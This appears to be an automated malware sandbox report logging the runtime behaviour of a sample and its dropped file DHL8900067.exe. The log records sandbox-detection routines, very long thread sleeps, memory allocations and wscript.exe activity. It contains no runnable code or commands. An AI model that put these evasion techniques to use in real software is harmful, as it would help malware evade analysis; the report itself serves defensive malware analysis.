Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Sandbox detection routine: GetForegroundWindow, DecisionNode, Sleep
Source: C:\Users\user\Desktop\24sBT3Cffz.exe	Sandbox detection routine: GetForegroundWindow, DecisionNode, Sleep			graph_0-97824

Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Memory allocated: 4190000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Memory allocated: 4820000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Memory allocated: 4240000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Memory allocated: 3B90000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Memory allocated: 42D0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Memory allocated: 3B90000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Thread delayed: delay time: 599890	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Thread delayed: delay time: 599781	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Thread delayed: delay time: 599671	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Thread delayed: delay time: 599562	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Thread delayed: delay time: 599452	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Thread delayed: delay time: 599343	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Thread delayed: delay time: 599234	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Thread delayed: delay time: 599111	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Thread delayed: delay time: 598984	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Thread delayed: delay time: 598858	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Thread delayed: delay time: 598749	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Thread delayed: delay time: 598640	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Thread delayed: delay time: 598531	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Thread delayed: delay time: 598421	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Thread delayed: delay time: 598312	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Thread delayed: delay time: 598203	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Thread delayed: delay time: 598093	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Thread delayed: delay time: 597981	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Thread delayed: delay time: 597875	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Thread delayed: delay time: 597765	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Thread delayed: delay time: 597656	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Thread delayed: delay time: 597546	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Thread delayed: delay time: 597437	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Thread delayed: delay time: 597328	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Thread delayed: delay time: 597218	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Thread delayed: delay time: 597109	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Thread delayed: delay time: 597000	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Thread delayed: delay time: 596890	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Thread delayed: delay time: 596781	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Thread delayed: delay time: 596671	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Thread delayed: delay time: 596562	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Thread delayed: delay time: 596452	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Thread delayed: delay time: 596343	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Thread delayed: delay time: 596230	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Thread delayed: delay time: 596125	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Thread delayed: delay time: 596015	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Thread delayed: delay time: 595906	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Thread delayed: delay time: 595796	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Thread delayed: delay time: 595687	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Thread delayed: delay time: 595577	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Thread delayed: delay time: 595468	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Thread delayed: delay time: 595359	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Thread delayed: delay time: 595250	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Thread delayed: delay time: 595139	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Thread delayed: delay time: 595031	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Thread delayed: delay time: 594844	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Thread delayed: delay time: 594718	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Thread delayed: delay time: 594604	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Thread delayed: delay time: 594482	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Thread delayed: delay time: 594369	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Thread delayed: delay time: 599891	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Thread delayed: delay time: 599782	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Thread delayed: delay time: 599657	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Thread delayed: delay time: 599532	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Thread delayed: delay time: 599422	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Thread delayed: delay time: 599310	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Thread delayed: delay time: 599188	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Thread delayed: delay time: 599063	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Thread delayed: delay time: 598938	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Thread delayed: delay time: 598813	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Thread delayed: delay time: 598704	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Thread delayed: delay time: 598594	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Thread delayed: delay time: 598454	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Thread delayed: delay time: 598329	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Thread delayed: delay time: 598219	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Thread delayed: delay time: 598094	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Thread delayed: delay time: 597985	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Thread delayed: delay time: 597875	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Thread delayed: delay time: 597766	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Thread delayed: delay time: 597625	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Thread delayed: delay time: 597516	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Thread delayed: delay time: 597391	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Thread delayed: delay time: 597266	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Thread delayed: delay time: 597157	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Thread delayed: delay time: 597032	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Thread delayed: delay time: 596907	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Thread delayed: delay time: 596797	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Thread delayed: delay time: 596688	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Thread delayed: delay time: 596563	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Thread delayed: delay time: 596438	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Thread delayed: delay time: 596313	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Thread delayed: delay time: 596188	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Thread delayed: delay time: 596079	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Thread delayed: delay time: 595947	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Thread delayed: delay time: 595843	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Thread delayed: delay time: 595718	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Thread delayed: delay time: 595545	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Thread delayed: delay time: 595435	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Thread delayed: delay time: 595320	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Thread delayed: delay time: 595219	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Thread delayed: delay time: 595094	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Thread delayed: delay time: 594985	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Thread delayed: delay time: 594860	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Thread delayed: delay time: 594735	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Thread delayed: delay time: 594610	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Thread delayed: delay time: 594485	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Thread delayed: delay time: 594360	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Thread delayed: delay time: 594235	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Thread delayed: delay time: 594110	Jump to behavior

Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Window / User API: threadDelayed 7501	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Window / User API: threadDelayed 2316	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Window / User API: threadDelayed 7649	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Window / User API: threadDelayed 2178	Jump to behavior

Source: C:\Users\user\Desktop\24sBT3Cffz.exe	API coverage: 3.7 %
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	API coverage: 4.1 %

Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe TID: 4768	Thread sleep count: 33 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe TID: 4768	Thread sleep time: -30437127721620741s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe TID: 4768	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe TID: 4768	Thread sleep time: -599890s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe TID: 2888	Thread sleep count: 7501 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe TID: 2888	Thread sleep count: 2316 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe TID: 4768	Thread sleep time: -599781s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe TID: 4768	Thread sleep time: -599671s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe TID: 4768	Thread sleep time: -599562s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe TID: 4768	Thread sleep time: -599452s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe TID: 4768	Thread sleep time: -599343s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe TID: 4768	Thread sleep time: -599234s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe TID: 4768	Thread sleep time: -599111s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe TID: 4768	Thread sleep time: -598984s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe TID: 4768	Thread sleep time: -598858s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe TID: 4768	Thread sleep time: -598749s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe TID: 4768	Thread sleep time: -598640s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe TID: 4768	Thread sleep time: -598531s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe TID: 4768	Thread sleep time: -598421s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe TID: 4768	Thread sleep time: -598312s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe TID: 4768	Thread sleep time: -598203s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe TID: 4768	Thread sleep time: -598093s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe TID: 4768	Thread sleep time: -597981s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe TID: 4768	Thread sleep time: -597875s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe TID: 4768	Thread sleep time: -597765s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe TID: 4768	Thread sleep time: -597656s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe TID: 4768	Thread sleep time: -597546s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe TID: 4768	Thread sleep time: -597437s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe TID: 4768	Thread sleep time: -597328s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe TID: 4768	Thread sleep time: -597218s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe TID: 4768	Thread sleep time: -597109s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe TID: 4768	Thread sleep time: -597000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe TID: 4768	Thread sleep time: -596890s >= -30000s	Jump to behavior
